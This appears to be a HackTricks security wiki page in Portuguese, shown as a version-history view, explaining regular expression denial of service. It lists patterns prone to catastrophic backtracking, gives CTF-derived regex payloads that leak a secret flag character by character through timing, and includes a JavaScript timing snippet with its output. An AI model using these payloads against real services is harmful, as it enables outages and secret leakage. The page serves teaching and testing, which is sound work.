hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

106 lines
6.6 KiB
Markdown
Raw Normal View History

# Denial of Service de Expressão Regular - ReDoS
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
# Denial of Service de Expressão Regular (ReDoS)
Um **Denial of Service de Expressão Regular (ReDoS)** acontece quando alguém se aproveita das fraquezas de como as expressões regulares (uma maneira de pesquisar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando fica maior. Essa lentidão pode se tornar tão ruim que cresce muito rapidamente com pequenos aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo período de tempo.
2021-01-26 13:51:43 +00:00
## O Algoritmo Naïve de Regex Problemático
2021-01-26 13:51:43 +00:00
**Verifique os detalhes em [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
## Regexes Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
Um padrão malicioso de expressão regular é aquele que pode **ficar preso em uma entrada manipulada causando um DoS**. Os padrões de regex maliciosos normalmente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:
2021-01-26 13:51:43 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} para x > 10
2021-01-26 13:51:43 +00:00
Todos esses são vulneráveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
2021-01-26 13:51:43 +00:00
## Cargas Úteis ReDoS
2022-04-05 22:13:36 +00:00
### Exfiltração de String via ReDoS
2022-04-05 22:13:36 +00:00
Em um CTF (ou recompensa por bugs) talvez você **controle o Regex com o qual uma informação sensível (a flag) é correspondida**. Então, pode ser útil fazer a **página congelar (tempo limite ou tempo de processamento mais longo)** se o **Regex corresponder** e **não se não corresponder**. Dessa forma, você poderá **exfiltrar** a string **caractere por caractere**:
2022-04-05 22:13:36 +00:00
* Neste [**post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar esta:`<flag>(((((((.*)*)*)*)*)*)*)!`
2023-06-06 18:56:34 +00:00
* Neste [**writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2022-04-05 22:13:36 +00:00
### Controle de Entrada e Regex ReDoS
2021-01-26 13:51:43 +00:00
Os seguintes são exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto o **regex**:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2023-06-06 18:56:34 +00:00
## Ferramentas
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
## Referências
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>